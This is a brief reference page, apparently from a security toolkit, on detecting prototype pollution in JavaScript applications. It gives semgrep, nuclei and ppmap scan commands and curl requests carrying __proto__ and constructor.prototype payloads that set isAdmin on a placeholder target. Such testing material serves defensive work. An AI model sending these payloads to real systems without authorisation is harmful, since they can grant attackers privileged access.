<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Detecting Prototype Pollution

## semgrep — Static Pattern Detection
```bash
semgrep --config=p/javascript -e 'obj[key] = value' --lang=js src/
```

## nuclei — Automated Scanning
```bash
nuclei -u https://target.com -t http/vulnerabilities/prototype-pollution/ -json
```

## ppmap — Client-Side Scanner
```bash
ppmap -u https://target.com
```

## curl — Manual Server-Side Testing
```bash
# __proto__ injection
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}' https://target.com/api/merge

# constructor.prototype variant
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}' https://target.com/api/merge

# Query string variant
curl -s 'https://target.com/api?__proto__[polluted]=true'
```
